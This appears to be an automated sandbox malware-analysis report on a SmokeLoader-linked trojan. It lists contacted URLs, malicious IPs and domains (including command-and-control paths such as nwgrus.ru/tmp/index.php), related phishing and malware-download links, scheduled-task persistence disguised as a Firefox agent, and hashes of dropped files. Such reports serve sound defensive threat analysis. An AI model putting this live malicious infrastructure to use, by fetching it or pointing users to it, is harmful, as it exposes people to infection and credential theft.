https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000001.00000000.1714214709.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ninjahallnews.com/search.phpb	explorer.exe, 0000000D.00000002.2750919806.0000000002D50000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000001.00000000.1716416454.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/	explorer.exe, 00000001.00000000.1714214709.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://outlook.com_	explorer.exe, 00000001.00000000.1716416454.000000000C5E6000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
201.103.8.135	unknown	Mexico	8151	UninetSAdeCVMX	true
23.145.40.168	ninjahallnews.com	Reserved	22631	SURFAIRWIRELESS-IN-01US	true
180.75.11.133	nwgrus.ru	Malaysia	38322	WEBE-MY-AS-APWEBEDIGITALSDNBHDMY	true
23.145.40.164	unknown	Reserved	22631	SURFAIRWIRELESS-IN-01US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528581
Start date and time:	2024-10-08 03:13:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ctMI3TYXpX.exe renamed because original name is a hash value
Original Sample Name:	a27775738faff754dcf5c3e8e42b9838.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@79/14@8/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 139 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ocsp.edge.digicert.com, sls.update.microsoft.com, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:14:19	Task Scheduler	Run new task: Firefox Default Browser Agent A7BA84DA429A7AEE path: C:\Users\user\AppData\Roaming\jghruer
02:15:19	Task Scheduler	Run new task: Firefox Default Browser Agent 32E93553152E818D path: C:\Users\user\AppData\Roaming\hdhruer
21:14:00	API Interceptor	366730x Sleep call for process: explorer.exe modified
21:15:37	API Interceptor	14x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.145.40.168	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse
180.75.11.133	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	nwgrus.ru/tmp/index.php
180.75.11.133	4EtLXn5pqI.exe	Get hash	malicious	SmokeLoader	Browse	100xmargin.com/tmp/index.php
23.145.40.164	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.45
	SecuriteInfo.com.Trojan.DownLoader47.43340.12576.1316.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	13.107.246.45
	9Y6R8fs0wd.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	PFW1cgN8EK.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.ht.zpdzwq?v=frudxdBjlfmjfqymhfwj.ht.pjd.kwjsy___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpiNGZlZGFhNjcxOTBhYjU4MTE5MjBlZTRiYTAxZmUwMTo3OmIxYWM6MDg1ODNlNjljZDkwNThkM2ZiM2RjYTI4MzFjZGY4NGFmMTYyZTlhYmVjYWYxY2Q4MmNkZDhiNmFmOWVkOWUxOTpoOlQ6VA#Sm9hbi5LbmlwcGVuQEVsa2F5LkNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.45
	SecuriteInfo.com.Win32.PWSX-gen.27846.23954.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://login.stmarytx.edu/cas/logout?service=http%3A%2F%2Fgoogle.com%2Famp%2Fmatrikaengineeringworks.com/hebc/?#?m=bWVsaXNzYWdAd2Utd29ybGR3aWRlLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	13.107.246.45
nwgrus.ru	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	109.175.29.39
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	105.197.97.247
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	185.12.79.25
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	197.164.156.210
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	190.147.128.172
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	177.129.90.106
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	190.147.2.86
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	190.224.203.37
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	58.151.148.90
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	190.219.117.240
ninjahallnews.com	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.168
bg.microsoft.map.fastly.net	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse	199.232.210.172
	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	http://pay.christinagstewart.com/	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	h2qWqtD73F.exe	Get hash	malicious	Xmrig	Browse	199.232.214.172
	SecuriteInfo.com.Win32.PWSX-gen.27846.23954.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	https://login.stmarytx.edu/cas/logout?service=http%3A%2F%2Fgoogle.com%2Famp%2Fmatrikaengineeringworks.com/hebc/?#?m=bWVsaXNzYWdAd2Utd29ybGR3aWRlLmNvbQ==	Get hash	malicious	Unknown	Browse	199.232.214.172
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	199.232.214.172
globalviewsnature.com	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.113
	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.113
	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.113
	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.113
	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.113
	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.113
	file.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.113

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SURFAIRWIRELESS-IN-01US	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
SURFAIRWIRELESS-IN-01US	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
UninetSAdeCVMX	0wG3Y7nLHa.elf	Get hash	malicious	Mirai, Okiru	Browse	187.145.90.104
	XvAqhy3FO6.elf	Get hash	malicious	Mirai, Okiru	Browse	187.208.37.241
	970Qh1XiFt.elf	Get hash	malicious	Mirai, Okiru	Browse	187.145.90.119
	na.elf	Get hash	malicious	Unknown	Browse	187.175.35.232
	xd.arm.elf	Get hash	malicious	Mirai	Browse	189.128.149.6
	na.elf	Get hash	malicious	Mirai	Browse	189.180.56.190
	sora.arm.elf	Get hash	malicious	Mirai	Browse	187.224.224.59
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	189.177.62.126
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	189.181.178.45
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	187.202.33.19
WEBE-MY-AS-APWEBEDIGITALSDNBHDMY	na.elf	Get hash	malicious	Mirai, Okiru	Browse	180.75.199.20
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	180.75.11.133
	4EtLXn5pqI.exe	Get hash	malicious	SmokeLoader	Browse	180.75.11.133
	SecuriteInfo.com.Linux.Siggen.9999.13221.8731.elf	Get hash	malicious	Unknown	Browse	180.73.13.64
	mdfh8nJQAy.elf	Get hash	malicious	Mirai, Moobot	Browse	180.74.244.169
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	180.75.175.46
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	180.74.244.171
	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	120.139.129.240
	botx.mips.elf	Get hash	malicious	Mirai	Browse	180.73.25.29
	154.216.17.9-skid.arm5-2024-08-04T06_23_00.elf	Get hash	malicious	Mirai, Moobot	Browse	180.73.37.113

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72a589da586844d7f0818ce684948eea	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse	23.145.40.168
	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	SecuriteInfo.com.Win32.Evo-gen.11282.4102.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.168
	9Y6R8fs0wd.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	PFW1cgN8EK.exe	Get hash	malicious	LummaC	Browse	23.145.40.168

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\B972.exe	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\35DB.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	453632
Entropy (8bit):	6.352592573597842
Encrypted:	false
SSDEEP:	6144:Xv+T0hUr6WQIzmEpudCnKBzWhI3MLF9hv2Hx+3CtvjUiWElEy6BbO42T8:GYhUr672/gCnMWO8LFzv2RNvjU3NO4O
MD5:	366910063EF4A518B6ADF6D28C7B2C69
SHA1:	2A87028980742C1A86C8B5A356B8F379D4EA23E7
SHA-256:	0DC84955A94A98E04A933E66A3940BDCA12BCA73C41E2EB04D726B0AD28A8256
SHA-512:	0A473FEBB788BDCBBC8791334AC5EF705F5A875111FA9B579154DE5C1CB9A86FC92ABF77B29C7BD4EAA24D1F28C854FF3F4186C29E9FFA915A0F642B19CE3C33
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........io..............~.......~.......~.......p..........3....~.......~.......~......Rich............PE..L....$.e.............................;............@.........................................................................0...x.......................................................................@............................................text............................... ..`.rdata.............................@..@.data............`..................@....dilafav............................@..@.heciw..............................@..@.hirezep............................@....rsrc...............................@..@........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B099.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B099.tmp-shm

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B473.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B724.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B972.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	78336
Entropy (8bit):	6.394001797252911
Encrypted:	false
SSDEEP:	768:WPQkadQWo2lXlxiK/0PJMQ2VGhm9EGFDe8MRDiNfYg9TQRkAuHi5yvaIoFVr1VML:NBfdSKvVwDEhAuBhoL/MnJ0iXD46w0
MD5:	65AEAA0A0849CB3CE9BC15BCBF0B7B9F
SHA1:	BA7888FFDB978851F38C4CAC82D58D8CD9A6F077
SHA-256:	B139090C797214F88A2EA451289AB670000936C413CD2CD45AAA9895C78C63B5
SHA-512:	938CE106217E9CE98F104AF0913054070C2CC5791DFAA9902540CAEF923579B8DE0AF0ED720753BC40ADC75D7E286ACCDE7198315805331F25BE3F312C23F0BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: bCnarg2O62.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v....................................b......b......b......Rich............PE..d......f.........."..........>.................@.............................p............`..................................................(...............P...............`.......................................................................................text...x........................... ..`.rdata...&.......(..................@..@.data...h....@......................@....pdata.......P......."..............@..@.reloc.......`.......0..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BCB3.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BD9E.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BE0D.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BE5C.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\dcvjdff

Download File

Process:	C:\Windows\explorer.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	290443
Entropy (8bit):	7.99935753281566
Encrypted:	true
SSDEEP:	6144:VUQAwuWARRouE1vwyfPJ8+4jxmRPgmkqVizJHw:VfBuRtx6sw
MD5:	1F911D56490B86E8D9FE65CF28C3D595
SHA1:	787675025A6AB2C2B67C31A5392B4C9C25DDE694
SHA-256:	EA2B540BE3FCB3A2708496922EC386928983D5A62355DF219557EA79C7BBFB78
SHA-512:	C0D7AF28B7C52B75A9D1F0231F3776B1FD7855CAE26B5DC8EE92A9826E40E551ECBD5BD94E97BAC27396D31D6442940BF975EDAFC210DA42E6EBB0B741436CA8
Malicious:	false
